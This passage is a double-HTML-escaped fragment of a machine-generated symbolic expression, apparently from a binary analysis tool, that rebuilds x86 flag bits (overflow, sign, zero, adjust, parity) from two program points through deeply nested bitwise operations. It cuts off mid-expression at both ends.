0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)]&amp;amp;~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)])]|~[0x14000b964])]&amp;amp;~[(~[(~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 